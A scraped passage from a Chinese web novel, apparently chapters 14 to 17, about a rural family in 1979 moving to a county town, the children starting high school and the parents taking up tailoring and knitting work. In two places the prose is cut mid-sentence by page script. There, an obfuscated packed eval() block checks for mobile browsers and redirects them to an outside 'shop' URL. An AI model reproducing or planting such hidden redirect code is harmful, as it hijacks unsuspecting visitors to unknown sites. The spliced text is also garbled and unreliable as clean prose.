$(''#content'').append('' 情掰开了揉碎了给妹妹解释,“信息,也是一种收益。” “信息?” “打个比方,你喜欢吃包子,你每次都去那家包子铺吃,刮风下雨雷打不动,有一天旁边突然开了一家新的,和它味道差不多,价格便宜一点,你换不换?” “便宜得多就……试试看。” “不可能便宜很多,否则这家新开的店铺会把自己做倒闭的,成本摆在那里。” “那当然不换,我都吃习惯了呀。” “对于房东和租客来说,他们也会‘习惯’,耿勇不要中介费,这就意味着租客不用担心挨宰,房东也不用担心少赚了钱被蒙在鼓里,现在是这么一家,那如果他身边有其他人也想租房子,他们就会优先考虑耿勇,如果大家都习惯了在耿勇这里出租,那耿勇天然地就垄断了这一片的生意。” 周楚成总结道:“到时候,用不着什么招牌,‘耿勇’两个字就是招牌,也就是说耿勇自然而然地拥有了一大批人脉,他可以通过这些人脉用其他方式挣钱,比如说像咱爸,要是有家属院的人需要打家具,耿勇提那么一句,也许就有人来问,这生意是不是就做起来了?咱们是不是就得感谢他,这不得封个大红包,或者给人家提些礼品去?” 小财迷周晚一直觉得自己挺会挣钱,万万没想到城里人做起生意来,想得比她还长远,还全面,顿时听得目瞪口呆:“还能这样!” 岂止是她一个人听呆了,就连进门的周家夫妇俩也听得一愣一愣的。 ……那小伙子那么能耐?! 周楚成摸了摸鼻子:“他估计还没想到这一茬,不过要是这往这个方向发展,估计过不了多久就能挣个万元户了。” 万元户,在1979年那就是富人的代表,想想都令人咋舌的存在,沈桂香看儿子的目光更微妙了——人家还没想到,你就先给他算到了?! 她收敛心神,招呼众人过来,把门锁紧,从贴身的内衬口袋里把钱拿了出来。 里头是一捆一捆用皮筋固定好的大团结。 “我和你爸攒下来的工分换成现钱,有七百块左右。” 工分,一大部分都是要给一家人淘换口粮,还有村里各种琐碎的支出,反正衣食住行,什么都得从里头划,能换这么多现钱,已经出乎沈桂香的意料,应该是他们不要票也不要粮食,帮大队长缓解了不少压力,兑换得也就相对宽裕。 “这就是咱们家全部的家当了。” 沈桂香说道,话语里有些沉甸甸的:“咱们没在城里住过,不知道要花多少钱去,坐吃山空肯定是不行,你爸就打算继续做木匠活。”她瞟了儿子一眼,“能把招牌打出去就是最好。” “我也出门转转,看看能做个什么营生,大不了就去做些体力活,反正城里再怎么辛苦,也不可能比操持田地里头的事情更苦了。” 沈桂香:“我说这个话,不是要在你们头上给压力,让你们觉得自己负担重,而是你们俩年纪都大了,爸妈也不想再像以前一样把你俩都当小孩,什么事儿藏着掖着——现在大家有商有量地来。” 以前在大队上,他们一辈子都是那么过来的,还能帮衬着点,到了这个新地方,连她和丈夫也得重头开始摸索,他们还真不见得就比儿女要做得好。 沈桂香往桌上瞥了一眼,哭笑不得地把突然多出来的那堆大团结给推回了儿子女儿面前。 “你们俩做生意是你们俩自己的主意,至少现在,我和你们爸还不至于养不活你们俩,自己留着吧。” 周晚看了哥哥一眼,周楚成点点头,她这才把大团结重新又收回了兜里,沈桂香笑了笑:“行了,也别一个个耷拉着脑袋,搬家是好事,我和你们爸一辈子都还没出过大队呢,就当出来见见世面了。” 周楚成想了想,忽然开口说道:“妈,我觉得有件事,你可以试试看。” “啥?” “做衣服!” 15. 第 15 章 沈桂香并没有马上应下来,她对县城还很陌生,尽管儿子的提议让她很心动,但本能地她想要再看一看。 当然,眼下她也有充足的时间可以在县城多观察观察,因为周楚成和周晚兄妹俩是真的要去县城中学报道了! 联办班通知得仓促,也不那么正式,可消息到了大队上,公社上,还是又掀起了一轮新的讨论热潮,这一次,甚至比之前还要激烈。 原因还就是因为工分取消的事儿! 没了工分,最慌的就是地里头刨食的农民,家里口粮从哪儿来?孩子要怎么安顿?桩桩件件都是卡着他们的命脉,让人坐立不安,即便红旗大队的大队长想方设法从上头要了足够的粮食,先给乡亲们把工分兑换粮食这事儿给解决了,可以后呢? 偏偏这时候村里头传开了消息,说是隔壁富强大队的谁谁谁大学毕业后能分配进省城的工厂,下来就是主任,是高级管理,一个月能拿六七十块钱的工资……这可炸了锅了! 前头大家都知道考大学这事儿恢复了,可是比起在大队上安分种地,一个远在天边看得见摸不着,一个近在眼前虽然苦但实在,大多数家庭还是谨慎地选择了后者,现在呢,种地不是穷而安稳了,是又穷又不稳定,反而嗤之以鼻觉得没啥好的读大学,现在成了香饽饽?! 大队长心里苦哇,这坊间传闻是越传越玄乎,大学生就算金贵,刚出来也只有四五十块工资,更谈不上什么高级管理什么主任,顶多就是个技术员,一样要兢兢业业慢慢等待升迁,可在这群乱了章法的乡亲们眼里,这不还是好得上了天? 人是一波波来缠着他问“还能不能再组织一场联办班考试”,甚至那些平时背地里说他坏话的人都带着讨好笑容上门又是送鸡又是送鸭,就为了塞个孩子去县城中学——大队长看着嘴巴馋,收却不能收。 “我还没那个资格管到人家县城中学收不收。”大队长说着说着,自己都来了火气,“前头那么宣传,说咱们公社中学要解散,有这么个千载难逢的机会,不是我说,就连人家周家那个街溜子,那个周楚成他都知道要抓住这次机会,硬是想方设法凑上了趟,考上了县城中学的高中去念书,你们呢?早干嘛去了!” 是啊,早干嘛去了呢? 看着周楚成从跟着狐朋狗友跑山遛海地闲逛,变成了个规规矩矩端端正正待家里做题看书的乖学生,他们怎么说的? “周楚成都变成大门不出二门不迈的小媳妇咯”,那幸灾乐祸,可没少背地里调侃,甚至还嘲讽周楚成要是考不上回来得多丢脸。 现在周楚成不丢脸,周家两个孩子……不,算上周敬,一代三个孩子,全都光荣争气地念上了县城高中,他们自己呢,明天要去哪里找粮食吃都是问题,他们才是最丢脸的那个! 要是当初看见周楚成努力的时候,他们也跟着拼一把,是不是事情会不一样? …… 入学班会上,王德英也在想类似的问题。 联办班最终招上来的学生比预期少一些,只有三十个,这已经是囊括了这下属所有公社的结果了,具体到大队上,少的甚至连一个学生都没有,中学这边并不太满意他的提议,认为王德英完全是小题大做——“乡下孩子能有什么见识,还特地这么唱念做打地弄一套过场,完全是白费力气嘛!” 就算王德英是年级主任,同事们当着他面不说,可背地里,这些人没少说他的是非,觉得王德英是猪油蒙了心了,放着县城的孩子不好好辅导,被他下乡当知青的表妹撺掇着,一天想些有的没的。 王德英也很失落。 不是因为丢人,而是自责,好不容易为学生们争取来的机会,可是就这样消耗掉了,要是能早一些让孩子们知道有这么个机会,结果会不会更好?王德英不知道,这件事却实实在在地影响了他的心情。 作为同样农家出身,他渴望鼓励、扶持这些后生们上进,可事情的结果,却并不如他的意愿,王德英心里思绪翻涌,表情却很平静,继续念着学生们的名字,一个一个在花名册上勾出来,确认这些学生们都到校报道。 “希望大队,杨泽军。” “到!” “联合大队,林振东。” “到!” “红旗大队,周敬。” “到!” “红旗大队,周晚。” “到。” 王德英迟疑了一下:“红旗大队,周楚成。” “在这儿呢。” 红旗大队,足足有三个学生! 王德英开始还以为自己看错了,可一遍又一遍重新阅读花名册,实实在在就是这三个名字,他的目光从有些低落到意外,再到惊喜,他再定睛一看,那个叫周楚成的年轻男孩,不就是他之前监考的时候遇见的那个么! 他再看看花名册右边的备注,周晚和周敬的名字旁边都写着“红旗公社中学”,而周楚成的后面却写着“社会人士”,王德英皱了皱眉,却压住了这个问题没有当面问,万一学生是家里有什么难处,他当场揭开可不好。 只是当老师的不问,下面的学生们可没那么多顾忌,入学班会一结束,其他公社和大队的学生们就围了过来,都很好奇红旗大队这周家三个人是什么关系,得知周敬是堂哥,而周晚和周楚成是亲兄妹时,众人眼睛都掉了下来。 一窝子都考上了联办班,这是什么家庭啊! 更刺激人的是,他们问周家三个是不是从小就是同学,却得到了否定的回答,这才知道周楚成压根就不是公社中学的学生,他小学毕业就没继续念过书,这次联办班是自己在家看书复习,冲刺集训考上的! 真是人比人气死人,大家唉声叹气,这是掉进了学霸堆里了。 周楚成却笑嘻嘻的没真的把这话应承下来:“我就是运气好,反正咱们也不知道分数,说不定我是给咱们班垫底的呢。” 他想得很清楚,不说周敬那个书呆子,他感受不到外界的东西,但他妹可是刚刚来学校,人生地不熟的,他非要鹤立鸡群,不一定对他妹来说是一件好事。 他辛辛苦苦被系统吊着做这样那样的任务,是为了让他妹进城里过好日子的,可不是为了让她换个地方挨欺负的。 而且周楚成还有别的考虑,没进城的时候,县城对他来说就是系统描绘的那三言两语,现在进了城,他是真真切切意识到时代在变,他在山沟沟里接触经历的那些东西,在城里就不够看了。 他和周敬不一样,周敬爸妈就指望周敬两耳不闻窗外事,一心只读圣贤书,但周楚成心里始终悬着一根弦,那就是他爸妈,他妹以后得命运,就这根弦挂着,他也做不到周敬那样什么也不管。 考大学当然是要考的,但他不打算把所有的鸡蛋放在高考一个篮子里。 周敬却完全没联想到堂弟脑子里短短时间有这么多想法,众人被周楚成一番话逗得嬉笑散开,他扶了扶眼镜:“你们开学之后是打算怎么安排?” 不等周家兄妹说话,周敬又说道:“红旗大队要赶来县城一 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这下愣住的人换成了周敬。 “搬家……到县城?” “嗯。” “那你俩以后都不回大队了?” 周晚迟疑地看看哥哥,周楚成点了点头:“对。” 周敬久久没有说话,显然是被这个消息刺激得不轻,晚上回家,王莲芳刚打算问儿子有没有问好周楚成和周晚,周敬先把周楚成在学校里说的话给爹妈复述了一遍,王莲芳和周红旗两口子都呆住了。 搬进县城……这是他俩想也不敢想的事情。 尽管周红旗一直以周家长子自居,把儿子周敬视作是下一代的榜样,可他想破天了也只敢想想周敬考上大学,最好是去京城念大学,至于他和老婆王莲芳,大家都在乡下住了大半辈子了,这辈子也就这样了。 谁知道弟弟一家却突然做出了这么个决定,这对周红旗来说,无疑是一种打击——是弟弟一家比他看得更远,还是周红军两口子在瞎折腾? “就是在县城里租房子,也不可能便宜。”王莲芳说道,“红军家老大前头又没工作,小的那个又一直是学生,光靠两口子能攒下来这么多钱?” “我猜,是这次工分兑换方案,他们选了换成现钱。”周红旗说道,“换成粮食没用,到时候也不可能全背到城里去,只能就地在供销社换票,那就得折一笔,公社票证到了县城又要折一笔,我要是红军,我肯定不会这么选……不过我也只能猜。” 当时政策一出来,两口子就把一半的工分换成了足额的粮食,另一半工分压在手里,想再看看情况,是换票,还是怎么说。 周红军的这种做法,周红旗两口子想不明白。 但这两人也是豁达性格,想不通,那就去问。 “周敬一个人,天天这样子大队县城里来回跑肯定是不成的,拖拉机是大队上用的,就供他一个,给钱也说不过去……” 但周红军家有足足两个孩子,这人家才去县城落脚,他们就跟上去,倒像是图人家红军家什么似的,周红旗沉吟片刻,想到了多年前就进了县城的妹妹。 “他姑姑不就在县城住着,反正明天县城中学周休,你带着周敬去一趟红霞家……咱们交生活费,问问他家能不能再搭一张床!”周红旗顿了顿,又说道,“顺便也去看看红军家什么情况,搬家要不要咱们搭把手。” “要是县城真有那么好,咱们大不了豁出去一把……去城里!” 16. 第 16 章 周休日,巷子里头各家各院都在例行大扫除,临巷口的这家热热闹闹地敞着大门,周红军一家四口进进出出地搬个不停。 “耿勇,小鹏,真是谢谢你们了!” 一开始周家人压根没想到能有这么多东西要搬,可谁知道会在这里住多久,总想着一次性给搬过来,以后就用不着回大队上去拿,结果要收拾的行李越来越多。 幸好是赵小鹏又借了他大队部的拖拉机,帮忙把周家这一大堆东西给运了个七七八八,到了县城耿勇又自告奋勇来帮忙,骑着他的二八大杠把行李往后座上一捆,脚下一蹬,那比周家人用二路车——两只脚走路不知道快了多少。 搬家按理是要发红包,周家刚因为租房子花了不少钱,这个人情却没落下,给两个帮忙的小伙子一人封了个红包。 耿勇开始推脱不要:“阿姨,我也是靠你们爽快才开了单子,做成了生意,我哪还能要你们的钱。” 沈桂香却坚持把钱给了,一码归一码,一家人之前来看的时候就觉得这房子好,搬家的时候更是发现耿勇一点没坑他们,周围院子哪家不是两三家挤在一个院子里,就他们家是独门独户,关上门来有墙挡着隐私够够的,就是这院子里也有空隙,还能搭个架子种点菜。 哪哪儿都好! 耿勇推辞不过,只能把红包接了,又跟周家人说有事随时都能找他,周楚成知道他地址,就住在对面机械一巷右手边第二家,一家都在机械厂,他就是这儿长大的,这巷子里就没有他帮不上忙的事儿。 他还要回厂里,也不能在周家多留,等他走后,沈桂香从兜里又拿出来了两个红包,这次是赵小鹏:“一份是谢谢你来帮咱们搬家,还有一份,就当叔和姨给你过生日了。” 赵小鹏捏着红包,周家兄妹俩也从屋子里走了出来,一人手里拿了个小袋子,同龄人之间就不兴送红包了,周楚成给赵小鹏准备了个魔方,还是从海城那边过来的,他好不容易才淘到,花了好几本书的钱。 周晚则是送了一本手抄的题集:“听我哥说,小鹏哥你也想考大学,我没什么拿得出手的,就只有这个,你不要嫌弃。” 赵小鹏哪儿会嫌弃呀,他感动得眼泪汪汪的,要知道现在大队上气氛可没那么轻松,他顶着压力给他楚成哥搬家,也是没少在舅舅那儿挨骂,但是楚成哥一家人都惦记着他的好,他想玩魔方想好久了,可大队上哪有这种东西? 更别说楚成哥还考虑他上大学,那么厚一本题集,周晚不知道写了多久。 “楚成哥,你一点不像李灿说的那样,你还是记挂兄弟的!” “李灿?”周楚成纳闷了,“李灿说我哪样?” 赵小鹏支支吾吾的说不出来,正好王莲芳带着周敬来了,赵小鹏如遇大赦,赶紧脚底抹油,开上他的小拖拉机溜了:“楚成哥,下周我再来找你!” 他着急忙慌的,出门的时候差点踩了周敬一脚,吓得赵小鹏连连道歉,周敬却不像以前那样面露嫌弃,周楚成看在眼里就觉得有点意外,周敬实话实说:“最近他变了挺多。” 赵小鹏是大队长的外甥,这是大队上谁都知道的事情,也因此他跟着周楚成天天在外面闲逛,就算村里人有闲言碎语,也不可能表现出来,谁也不想得罪大队长。 谁知道最近,准确地说自从周楚成宣布要去参加高考,要考大学以后,赵小鹏就变了个样子,“听我爸说,去大队部十次,八次他都在那看书。” 看的也是初中的教材,就初一那个难度都难得赵小鹏抓耳挠腮,周红旗还以为这孩子坚持不下去,谁知道下去再去,赵小鹏看着书还是愁眉苦脸,但却还是在看。 “要好好珍惜读书的机会啊,读不读得成是一回事,努力去做一件事,总归有好处。” 周楚成诧异地看了周敬一眼:“堂哥,这可不像你会说出来的话。” 旁边的周晚也一脸好奇:“敬哥,你总跟我说考不上大学人生都白搭了,现在咋又换了想法?” 周敬苦笑一声,摆摆手不想说,转身去帮忙搬家具。 能因为啥,还不是因为他妈今天带着他去了姑姑家,姑姑的儿子今年十四岁,姑姑说,考大学那种事儿没什么好处,还不如就考个中专,进来直接就能分配到工厂。 “……红霞她男人是机械厂的,说是给儿子路都铺好了,中专这边一毕业,那边就能用工人子弟的名额进厂,像小敬他们,就算是辛辛苦苦考了大学又能咋样呢,还是农村户口,写在户籍里,刻在骨子里,读完大学,还是得回乡下去。” 王莲芳这边也是一边帮忙,一边在和沈桂香絮叨,她语气有些伤感。 妯娌说话,平时周红军一般是不好参与的,但今天说到儿女的未来发展,他还是听了一耳朵。 “那小敬的事儿,红霞怎么说?”周红军关心最重要的问题,“不同意?” 王莲芳幽幽地叹了口气:“同意……红霞他们院子里本来有两家人,有一家说是赶今年政策,办了个什么停薪留职出去闯荡去了,正好小敬住进去,但是红霞也说了,一个月得给他们八块钱的生活费。” “八块!”沈桂香还没说话,吝啬惯了的周红军就咂舌了,“红霞问你……要八块钱?你们同意啦?” 县城中学一个月才收七块五毛钱,她还是周敬的亲姑姑,竟然狮子大开口,比学校还喊得贵,王莲芳苦笑了一下:“同意了呗,没办法,红霞虽然说话挑剔了点,但确实是有一间屋子给小敬住……桂香,你不用说。” 沈桂香张了张嘴,正想说话,就被妯娌挡了回去,王莲芳拍拍她的手:“我知道,要是我开这个口,你和红军肯定愿意让小敬住过来,但就像你操心小敬一样,我也会担心楚成和晚晚的学业。” “这屋子就这么大,你们一家四口都还得隔一间出来才够睡,小敬来了,要怎么安排?”王莲芳摇摇头,“桂香,好不容易楚成才打起精神,有了点给妹妹当榜样的意思,你们大哥不说,心里其实是高兴的,周家要是能一口气出三个大学生,咱们周家就算是列祖列宗都脸上有光。” 沈桂香这才点了点头,算是认同了妯娌的做法,但还是和王莲芳说:“再怎么样,除了姑姑,还有叔叔婶婶在县城,要是小敬真的有什么需要,该跟我们开口就开口,千万别讲究那些有的没的!” “那当然。”王莲芳也笑了,“小敬要是嘴巴馋了,还得仰仗你这个亲婶婶给他做点好吃的呢!” 妯娌俩相视一笑,都有些感慨。 周红旗,周红军,周红霞兄妹三个,当初都是一母同胞的亲人。 周红霞长得漂亮高挑,又会来事儿,机缘巧合之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188101|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识了现在的丈夫宋振兴,两人结婚之后,周红霞用夫妻投靠的办法,把户口转到了县城来,摆脱了农民身份。 她能结婚,靠的是两家哥嫂在地里不眠不休地干活,明明两家娃娃都还小,却硬是攒出了一叠粮票,给小妹换了一对城里流行的搪瓷缸,一床兄弟俩亲自找人做的厚棉被,仔仔细细纹了龙凤呈祥,没让小妹在夫家面前丢人跌份。 结了婚以后,周红霞回大队的时间越来越少,后来有了儿子宋扬,更是一年才回娘家一次,连清明扫墓,也是妯娌两个帮忙打理,亲生女儿反而是不来。 “那时候,怎么也没想到现在会变成这样。”沈桂香叹了口气,“都想着血浓于水,一家人要是都不彼此帮忙,那轮到自己有麻烦的时候,谁又会帮忙呢?” 只是没想到小妹不是这样想的,人住上了家属院,摆脱了从前的老身份,就好像连家乡的那些亲人,也一并变成了过眼云烟,偏偏她也不肯拒绝,还想在哥嫂面前卖一卖情分,想让周敬还认她是个好姑姑。 只是她把周敬想得太傻,也把王莲芳想得太笨。 “我想着,暂时先就在那落脚,最后几个月了,别闹闹腾腾的,影响小敬复习高考。” 王莲芳低声道。 “反正现在大队上也没什么说法了,我和你大哥也打算出来找找活路……我就不信,当初咱们都是吃得了开荒垦地,忍饥挨饿的苦,现在就吃不了别的苦。” “等咱们在城里能站稳了,到时候再把小敬带出来,也和你们一样,租个院子!” 王莲芳和周敬来了一趟,帮周家人把东西都收拾了个七七八八,回去之前,沈桂香还是按道理一人一份,给母子俩发了个红包,还鼓励周敬好好念书,“不要辜负你爸妈的苦心。” 虽说一直有人搭手,但新家搬进去还是有无穷多的事儿等着要做,家具要擦,地面要拖,垃圾要收拾,就连院子里以后要怎么安排,周家人都得讨论个章程出来。 还得给周围的邻居们送点小礼品,东西不金贵,都是红旗大队带过来的土特产,这还不能拖,今天就得送,不然闹腾了一整天,一家人又都是外来户,指不定人家邻居心里怎么想呢。 从来没和人这么近地住过,周家人心里也打突。 等沈桂香风风火火地和邻居们“交际”完,土特产分发了个干净,这边周红军带着兄妹俩也把家里勉勉强强收拾得能住人,就连最勤快的沈桂香也已经觉得受不住了。 “先放着吧,今天是收不完了。” 周晚和周楚成第二天还得上课,与其今天连夜地忙活,效率低,影响孩子学习,还惹邻居嫌,不如就把家务攒着,每天回来都做点,花个一周时间慢慢拾掇出来。 一家人累得前胸贴后背,新家的灶王爷还没拜,干脆也不开火了,周楚成一摸兜里的存款,干脆带着妹妹和父母,一家人直奔包子铺。 周红军开始还不乐意,觉得吃两口馍馍就算了,沈桂香差点给他一脚——累了一整天,谁爱吃冷面馍馍? 就像大嫂说的,钱,一家人吃点苦,没可能挣不到钱——但日子不能凑合着过! 周楚成回家之后老是嚷嚷这家包子多好吃多好吃,她可馋得不行了。 “行,咱们吃包子去!” 她也有话想问问儿子。 17. 第 17 章 沈桂香要问周楚成的,就是之前周楚成和她提过的,做衣服的事儿。 那时候沈桂香犹豫不决,主要就是害怕被当成投机倒把——儿子胆子大不害怕,可她从来没做过这事儿,心里光是想着要拿去卖钱,就有点不安心。 更别说他们一家人初来乍到,这四邻八户的谁也不认识,万一有心人去把他们举报了,那不是影响两个孩子的前途吗,听说还要记档案,连大学都不让录取的! 可今天住进来,她给邻居们送土特产的时候,却发现自己完全是想多了。 “咱们这条巷子全是纺织厂的工人,还是有编制的,个个都在家坐着打毛衣,看我敲门进去也一点不避讳的,那毛线头子就这么大喇喇地放在桌子上,生怕我看不见似的。” 沈桂香现在想想,都觉得那个场面太出乎意料:“看我眼睛往那边盯着,人家还主动跟我说这是给孩子冬天打的毛衣,问我要不要一件,冬天穿着可暖和了……只要三块钱,不用票。” 投机倒把,敢这么明目张胆的! 她吓了一大跳,反而是邻居们笑嘻嘻的,说这根本不是什么投机倒把,“现在政策变啦,鼓励咱们劳动创造财富,这在车间里做衣服也是做,出来做衣服也是做,怎么做不得啦,一件衣服够小孩几天的定量粮食呢!” 其中一个姓谢的女人和沈桂香年纪差不多大,就住在周家隔壁,对她送来的土鸡蛋、土鸭蛋特别喜欢,私底下偷偷和沈桂香说,要是手艺过关,沈桂香也可以在她们那拿单子做,到时候挣钱大家分一分就是了。 沈桂香有点意动,趁着吃包子的机会,就和周楚成商量要不要答应下来。 周楚成就给他妈分两方面去剖析这件事。 毋庸置疑的是,沈桂香是有这个手艺的。大队上以前旧的劳保手套,都是沈桂香拆下来,一个一个给改成能穿上身的衣服裤子,打补丁更是不在话下,周晚的书包从小背到大,靠的就是沈桂香出神入化的打补丁手艺,一点看不出是缝缝补补过,反而像是特地设计过一样。 如果自己做这个生意,那是挣得多,不用和人分。 但,单打独斗有单打独斗的劣势。 “缝纫机首先就要花一笔,买了缝纫机,还得有线,有布,这些都得找路子稳定地买,不然客户下了单子,妈你这边却因为材料不够做不出来,缝纫机放在家里就是亏钱的。”周楚成说道,“为什么纺织厂那些人敢这么大胆地做,就是因为她们不愁路子,纺织厂一年到头谈那么多销售单子和原材料订单,她们只有嫌弃材料多的,没有担心材料少的。” 沈桂香迟疑:“你的意思是……我就跟她们做?” “先做做看呗,就像妈你担心的那样,咱们一次性做买卖没那么多顾忌,可要是真做起了长期的生意,那就要考虑考虑会不会被当成‘投机倒把’。”周楚成鼓励他妈,“而且妈你也没接过单子,正好咱们跟着这些阿姨,这个流程也能记一记,以后用得上。” 沈桂香点了点头,她还有一层考虑,那就是他们是外地人,无论在哪里,外地人都是最难融入的一群人,沈桂香无所谓别人怎么看待自己,可眼看着周楚成和周晚都得在城里至少待到高考,她还是得维系维系邻里之间的关系。 不说多亲近,至少不能处得眉毛不是眉毛,眼睛不是眼睛的。 大队上,女人们拉近关系的方式就是一起闲聊唠嗑儿,村口凳子一摆,一下午的闲话说完,那关系就突飞猛进。 城里不兴这套,她跟人家也不熟,凑上去反而奇怪,一起做活就不一样了,哪怕是问个钩针走线,慢慢地也就彼此熟络了。 这边沈桂香下定了决心,过了两天,就又提着一大包土特产登门拜访了邻居一家,迅速地给自己在城里找到了第一份“工作”——织毛衣。 但周楚成对这些就一无所知了——县城中学开学,他又成为了系统奴役的对象! 这系统还鬼灵精得很,之前他考上联办班,它就一声不吭,也不提奖励什么的,等学校这边正式上课了,它又跟鬼影子一样冒出来了,起手就是要他把历年的高考真题全给限时做一遍——别问真题哪儿来的,问就是它自有方法。 为了让学生们增加考上大学的几率,年级主任王德英是发挥完了一身的主观能动性,又是说服校长,又是和各科科任老师们苦苦相求,最后还搬出了周楚成这周家三个学生的事例,总算是让县城中学的资源,又从指缝里头多漏了一些给联办班。 联办班功课本来就紧张,周楚成都想不通怎么县城的老师能发下来那么多卷子和功课,回到家屁股还没坐热呢,系统那边新的任务又下来了,偏偏周楚成还不能选择不做,他只要一偷懒,系统就跟个幽灵似的在他脑子里一个劲儿地说—— 【哎,周晚真可怜,要是她哥哥愿意好好用功的话,她现在都能喝麦乳精,吃上商品粮了】 周家搬家之后日子就拮据了不少,虽然是没克扣两个孩子的口粮,但是要想跟城里孩子一个待遇那是万万没有可能——周家两口子自己都还在寻摸着挣钱,家里现在完全就是在吃之前工分兑换的存款,这节骨眼上系统的话简直就是戳周楚成心窝子。 能怎么办?继续肝呗! 可周楚成也提出来了系统的不公平,既然在系统的评判标准里,逆袭就算是完成它的要求,那他考上联办班,把他妹从蒋渣渣手里暂时拽过来了,这不就是逆袭吗,这不已经改变剧情了吗?怎么系统一点奖励都没有! 周楚成唱念做打起来,就不是系统能比的了,系统被他缠得没办法,只好捏着鼻子,又给他补发了一次奖励。 拿到奖励的那一刻,周楚成哭笑不得。 哭,是因为系统这兔崽子竟然给他发了整整十本《五年高考三年模拟》,限时三个月做完,做不完就变成每天多做一百道题的惩罚。 系统还体贴地告诉他:【不要想着找答案哦,这个年代是没有这套教辅资料的!】 笑,是因为系统还没丧良心到家,虽然周楚成被坑了个底朝天,但周晚却拥有了一身新衣服。 上身是的确良的立领绣花衬衫,衬衫下摆扎进裙腰里,下头是一条格纹及小腿的西瓜红长裙,脚下踩一双黑色的小皮鞋,要多好看就有多好看,周晚当时就换上在家里转了五六个圈圈,惊喜得抱着周楚成一个劲儿地喊哥。 “哥,你太厉害的,这一套你到底哪里搞到的呀!” 周楚成就享受他妹绕着他团团转,又是崇拜又是震惊的目光,那双水汪汪的大眼睛跟山里头的小鹿似的,被系统那十本限时必须做完的“五三”折腾得死去活来的糟糕心情都亮堂了不少。 “找了人去国营商店买的。” “那得要多少布票呀……”周晚停了脚步,忧心地皱起眉头,“哥,你不会钱全花了吧?” “那点钱无所谓,放着也是放着。”周楚成当然不能说真话,他也解释不了系统的东西是哪儿来的,“你喜欢就行,这些都是小事儿。” 第二天上学时,果然周晚的新衣服就受到了全班女同学的艳羡,午休的时候一个劲儿地追问她哪来的。 等周晚说是哥哥给她买的,这羡慕的眼神就更多了。 那可是的确良的衬衫,还有小皮鞋呢! 配上周晚那白皙的皮肤,还有一头又黑又长又顺的头发,就跟电影里头的女明星一样,让人看了都移不开目光。 羡慕都羡慕不来! “我也想要这么好的哥哥!” 长得好看,成绩又好,还疼妹妹,这样的哥哥上哪儿找去? 就在众人艳羡不已的时候,一个扎着双麻花辫的女同学从外头跑了进来:“周晚,门口有个女孩儿找你!” 周晚到了门口一看,惊喜地发现竟然是好友许芝灵。 “芝灵!” 两人好一段时间没见了,不知道是不是考试那天许芝灵人不舒服生了病,发挥失了常,最终联考班许芝灵并没有考上,她也放弃了继续读书的念头,留在了大队上,后来周家匆匆搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197085|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,周晚这边又急急忙忙入了学,两边一时就断了联系。 “在大队上还好吗?” 许芝灵笑了笑,目光有些黯然:“……不太好。” 原本她父母觉得不上联办班也无所谓,反正家里的钱都是留给弟弟的,她这个文凭足够在大队上混个什么记分员,管理员之类的工作,十六岁就能开始拿工资给家里,说出去谁家不羡慕,可偏偏许芝灵运道不好,前脚联考班没考上,后脚……大队上那些职位全裁撤了。 “说是现在搞什么包产到户,以后都用不着那些了。” 包产到户,说白了就是要调动大家的积极性,不能再像以前做工分那时候一样,有人磨洋工,有人出实在力气,但大家最后都拿同样的工分,吃一样的大锅饭,包产到户的包是承包的包,谁愿意承包,谁就负责这块地,盈亏自负。 要是伺候得精细,产出得多,那到了收粮食过称的时候,自己留得也能多,要是偷懒不好好打理庄稼,那就一年全亏进去,谁也不帮忙兜底。 许家当时就翻了天——要是这样,许芝灵是高中,是初中,哪怕是一个大字不念也没任何关系了,她就只能当个普普通通的农民,完全没用处了,许芝灵她爸当时就发了飙,骂女儿是个不争气的赔钱货。 “一天天供你上学花了那么多钱,怎么就连个联考班也考不上!” 只字不提之前是他们口口声声说,高中文凭不重要,联考班花钱,许芝灵要把钱留给弟弟。 许芝灵她妈也焦头烂额,这公社中学说解散就解散,现在大的废了,小的还得想方设法给弄到城里去读书,她妈算是想明白了,这农村要什么什么没有,就得跟周家人一样,削尖了脑袋也得跑进城里去,不然凭什么周楚成忽然就转了性,还不是为了前途,为了钱! 她妈大手一挥,大女儿留在乡下也没意义,自己去城里找个工作。 “城里……城里不好找工作呀。”周晚小心翼翼地组织着措辞,“听说知青大规模返城,现在城里的工厂好多都接收不过来,要一家一家地慢慢安排,好多人都还在排队,临时工的位置都有人抢。” “是啊,我也知道不容易找。”许芝灵自嘲一笑,“但我有什么办法呢,要是我不来,我爸恐怕要拿柴刀把我那张床都给拆了当火烧。” “芝灵……” “晚晚,有时候我真羡慕你,从来不用发愁什么事情。”许芝灵看着周晚那张漂亮又白净的脸蛋,“你爸妈都心疼你,把你的事情放在第一位,你对象也喜欢你,为了你连回城的事情都能推迟……就连你哥,以前那样子的人,现在为了你这个妹妹,也愿意奋发图强。” “我家什么都没有,他们满脑子只有钱,有手有脚的自己也不会去挣,只想着我怎么能变出钱来……我也只有十六岁,我能上哪儿去变?” “……” 许芝灵来一趟,或许只是情绪上需要一个发泄的出口,很快预备铃响起,周晚要赶回去上课,两人只能暂时分开。 临走前,周晚抱着许芝灵的肩膀,一遍又一遍地对好友说,都会过去的,这些日子都会过去的,她还往许芝灵手里塞了一张大团结……之前和哥哥一起做的那笔生意挣了几十块钱,几乎是她全部的积蓄,周晚像她爸周红军,有点抠,是个小财迷,可现在其中一张大团结,给了从小到大的好姐妹手里。 